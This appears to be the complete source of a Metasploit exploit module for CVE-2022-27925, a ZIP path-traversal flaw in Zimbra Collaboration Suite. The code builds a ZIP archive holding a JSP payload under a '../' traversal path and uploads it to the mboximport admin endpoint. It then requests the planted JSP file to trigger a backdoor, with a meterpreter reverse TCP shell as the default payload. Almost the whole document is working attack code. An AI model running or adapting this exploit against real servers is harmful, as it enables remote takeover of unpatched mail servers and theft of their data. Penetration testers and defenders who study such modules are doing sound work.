Zimbra Zip Path Traversal

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/zip'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::EXE  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)',        'Description' => %q{          This module POSTs a ZIP file containing path traversal characters to          the administrator interface for Zimbra Collaboration Suite. If          successful, it plants a JSP-based backdoor within the web directory, then          executes it.          The core vulnerability is a path-traversal issue in Zimbra Collaboration Suite's          ZIP implementation that can result in the extraction of an arbitrary file          to an arbitrary location on the host.          This issue is exploitable on the following versions of Zimbra:          * Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)          * Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)          Note that the Open Source Edition is not affected.        },        'Author' => [          'Volexity Threat Research', # Initial writeup          "Yang_99's Nest", # PoC          'Ron Bowes', # Analysis / module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2022-27925'],          ['CVE', '2022-37042'],          ['URL', 'https://blog.zimbra.com/2022/03/new-zimbra-patches-9-0-0-patch-24-and-8-8-15-patch-31/'],          ['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa22-228a'],          ['URL', 'https://www.yang99.top/index.php/archives/82/'],          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24'],          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31'],        ],        'Platform' => 'linux',        'Arch' => [ARCH_X86, ARCH_X64],        'Targets' => [          [ 'Zimbra Collaboration Suite', {} ]        ],        'DefaultOptions' => {          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',          'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/',          'TARGET_FILENAME' => nil,          'RPORT' => 7071,          'SSL' => true        },        'DefaultTarget' => 0,        'Privileged' => false,        'DisclosureDate' => '2022-05-10',        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),        OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),        OptString.new('TARGET_USERNAME', [ true, 'The target user, must be valid on the Zimbra server', 'admin']),      ]    )  end  # Generate an on-system filename using datastore options  def generate_target_filename    if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')      print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')    end    File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")  end  # Normalize the path traversal and figure out where it is relative to the web root  def zimbra_get_public_path(target_filename)    # Normalize the path    normalized_path = Pathname.new(File.join('/opt/zimbra/log', target_filename)).cleanpath    # Figure out where it is, relative to the webroot    webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/')    relative_path = normalized_path.relative_path_from(webroot)    # Hopefully, we found a path from the webroot to the payload!    if relative_path.to_s.start_with?('../')      return nil    end    relative_path  end  def exploit    print_status('Encoding the payload as a .jsp file')    payload = Msf::Util::EXE.to_jsp(generate_payload_exe)    # Create a file    target_filename = generate_target_filename    print_status("Target filename: #{target_filename}")    # Create a zip file    zip = Rex::Zip::Archive.new    zip.add_file(target_filename, payload)    data = zip.pack    print_status('Sending POST request with ZIP file')    res = send_request_cgi(      'method' => 'POST',      'uri' => "/service/extension/backup/mboximport?account-name=#{datastore['TARGET_USERNAME']}&ow=1&no-switch=1&append=1",      'data' => data    )    # Check the response    if res.nil?      fail_with(Failure::Unreachable, "Could not connect to the target port (#{datastore['RPORT']})")    elsif res.code == 404      fail_with(Failure::NotFound, 'The target path was not found, target is probably not vulnerable')    elsif res.code != 401      print_warning("Unexpected response from the target (expected HTTP/401, got HTTP/#{res.code}) - exploit likely failed")    end    # Get the public path for triggering the vulnerability, terminate if we    # can't figure it out    public_filename = zimbra_get_public_path(target_filename)    if public_filename.nil?      fail_with(Failure::BadConfig, 'Could not determine the public web path, maybe you need to traverse further back?')    end    register_file_for_cleanup(target_filename)    print_status("Trying to trigger the backdoor @ #{public_filename}")    # Trigger the backdoor    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(public_filename)    )    if res.nil?      fail_with(Failure::Unreachable, 'Could not connect to trigger the payload')    elsif res.code == 200      print_good('Successfully triggered the payload')    elsif res.code == 404      fail_with(Failure::Unknown, "Payload was not uploaded, the server probably isn't vulnerable")    else      fail_with(Failure::Unknown, "Could not connect to the server to trigger the payload: HTTP/#{res.code}")    end  endend